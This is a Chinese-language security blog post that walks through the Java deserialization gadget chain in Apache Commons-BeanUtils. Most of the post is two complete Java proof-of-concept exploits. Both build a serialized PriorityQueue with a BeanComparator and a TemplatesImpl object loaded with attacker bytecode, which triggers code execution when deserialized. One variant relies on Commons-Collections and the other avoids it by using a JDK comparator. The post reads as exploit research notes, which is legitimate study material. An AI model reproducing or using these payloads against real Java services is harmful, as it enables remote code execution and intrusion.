JAVA反序列化CB链

commons-beanutils 是 Apache 提供的一个用于操作 JAVA bean 的工具包。里面提供了各种各样的工具类,让我们可以很方便的对 bean 对象的属性进行各种操作。

==TODO== 思维导图后续会补上

参考文章:

CB_CB183_WithCC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package iN1t0.CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import iN1t0.Tools.Deserializer;
import iN1t0.Tools.Serializer;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB_CB183_WithCC {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, InvocationTargetException, NoSuchMethodException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"haha");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field codeBytes = templates.getClass().getDeclaredField("_bytecodes");
codeBytes.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("/Users/jade/Github/CyberSecurity/code_analysis/CommonsCollectionsDemo/target/classes/iN1t0/CC3/exec.class"));
byte[][] byteCodes = {bytes};
codeBytes.set(templates,byteCodes);

// templates.getOutputProperties();
// Commons-BeanUtils 中提供了一个静态方法PropertyUtils.getProperty,让使用者可以直接调用任意 JavaBean 的 getter 方法
// PropertyUtils.getProperty(templates,"outputProperties");
BeanComparator beanComparator = new BeanComparator("outputProperties");
/*
这里去看BeanComparator的构造函数:
public BeanComparator( String property ) {
this( property, ComparableComparator.getInstance() );
}
此处的ComparableComparator来自Commons-Collections
!!!
所以还是会有CC依赖
想要没有CC依赖可以传给public BeanComparator( String property, Comparator comparator ) {}一个JDK自带的,并且实现了Serializable接口的comparator
*/
// beanComparator.compare(templates,null);

PriorityQueue queue = new PriorityQueue();
// queue.add(1);
// queue.add(2);
Field queueSizeField = queue.getClass().getDeclaredField("size");
queueSizeField.setAccessible(true);
// size不大于等于2走不到siftDownUsingComparator中的 comparator.compare
queueSizeField.set(queue,2);
Field comparatorField = queue.getClass().getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(queue,beanComparator);
Field ququeField = queue.getClass().getDeclaredField("queue");
ququeField.setAccessible(true);
Object[] objects = (Object[]) ququeField.get(queue);
objects[0] = templates;

Serializer.serialize(queue,"/tmp/CB.bin");
Deserializer.deserialize("/tmp/CB.bin");


}
}

CB_CB183_NOCC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package iN1t0.CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import iN1t0.Tools.Deserializer;
import iN1t0.Tools.Serializer;
import org.apache.commons.beanutils.BeanComparator;

import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CB_CB183_NOCC {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
TemplatesImpl templatesImpl = new TemplatesImpl();
Field name = templatesImpl.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templatesImpl,"haha");
Field tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templatesImpl,new TransformerFactoryImpl());
Field codeBytes = templatesImpl.getClass().getDeclaredField("_bytecodes");
codeBytes.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("/Users/jade/Github/CyberSecurity/code_analysis/CommonsCollectionsDemo/target/classes/iN1t0/CC3/exec.class"));
byte[][] byteCodes = {bytes};
codeBytes.set(templatesImpl,byteCodes);

// templatesImpl.getOutputProperties();

// BeanComparator beanComparator = new BeanComparator("outputProperties");
// 这里的BeanComparator(String property)中调用了Commons-Collenctions中的ComparableComparator,导致还是会有CC依赖
// 我们可以传入一个JDK自带的实现了Comparator和Serializable接口的 Comparator
// 比如 java.util.Collections$ReverseComparator 和 java.lang.String$CaseInsensitiveComparator

// 使用public BeanComparator( String property, Comparator comparator )这个构造方法
Class jdkComparatorClass = Class.forName("java.util.Collections$ReverseComparator");
Constructor constructor = jdkComparatorClass.getDeclaredConstructor();
constructor.setAccessible(true);
Comparator jdkComparator = (Comparator) constructor.newInstance();
BeanComparator beanComparator = new BeanComparator("outputProperties", jdkComparator);


// beanComparator.compare(templatesImpl,templatesImpl);
PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
// priorityQueue.add(1);
// priorityQueue.add(templatesImpl);
Field size = priorityQueue.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue,2);
Field queueArray = priorityQueue.getClass().getDeclaredField("queue");
queueArray.setAccessible(true);
Object[] objects = (Object[]) queueArray.get(priorityQueue);
objects[0] = templatesImpl;

Serializer.serialize(priorityQueue,"/tmp/CB.bin");
Deserializer.deserialize("/tmp/CB.bin");


}
}
Author

iN1t0

Posted on

2025-09-16

Updated on

2025-09-16

Licensed under